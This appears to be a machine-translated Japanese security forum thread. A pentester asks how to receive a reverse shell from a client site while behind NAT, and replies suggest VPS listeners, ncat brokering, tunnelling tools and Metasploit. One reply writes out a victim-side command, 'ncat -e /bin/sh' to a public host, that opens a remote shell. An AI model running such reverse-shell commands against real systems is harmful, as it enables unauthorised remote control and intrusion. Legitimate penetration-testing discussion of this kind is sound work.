クライアントのWebサイトをペンテストし、リバースシェルが可能であると確信している場合は、Kali LinuxをVM私のWindowsマシンで会社のネットワークの背後にあるNATとして実行しています。 、接続を達成するための良い方法は何ですか?
私はエクスプロイトを実行したりシェルコードを挿入したりする方法を尋ねているのではなく、ローカルのnetcatがパブリックIPアドレスをリッスンする簡単な方法を求めていることに注意してください。
これまでの私の考え:
pwnat を構成することもできますが、UDPホールパンチをネゴシエートするには、両側の制御が必要です。クレイジーなMSF開発者がこの機能をMeterpreterに追加できるようにしたいと思います。同様の手法には、 matahari (または、古い、pbounce)などのツールや、ヨウ素( DNS)または onioncat (Torノード)。
私があなただったら、私の電話はすぐに使えるホットスポットであり、ある種の動的DNSを使用することができます。したがって、穴あけはほとんど不要であり、IaaS、規制、デューデリジェンス、シンプルさなど、質問で言及する他の多くの要素も同様です。 WiFiホットスポット接続と有線の企業接続がある場合、同時に両方のネットワークに接続している可能性があります。
公的にアクセス可能な3番目のマシン上のncatを使用してそれを行うことができます(私はAWSサーバーを使用しています)。
ncat --broker <port>
攻撃マシン:
ncat <public IP> <port>
被害者のマシン:
ncat -e /bin/sh <public IP> <port>
最善の解決策は、VPS、AWSマシン、またはペンテストのみに使用するサーバーなどのパブリックIPアドレスでLinuxマシンを実行することです。
ここから、metasploitリスナーやncatリスナーを実行できます。ファイアウォールとiptablesが無効になっている場合が最も簡単です。
Metasploitはローカルで実行できますが、リバースホストをインターネットベースのマシンに設定するか、完全にインターネットベースのマシンで実行できます。ローカルで何かを実行したい場合は、別のオプションとして、マシンにSSHで接続し、ポートを転送することもできます。
注意すべきことの1つは、エンゲージメントをテストする場合、バインドシェルを使用することはおそらく望ましくないことです。シェルで何らかの効果的な形式のアクセス制御を使用しない限り、悪意のあるユーザーが接続して制御を取得する可能性が常にあるからです。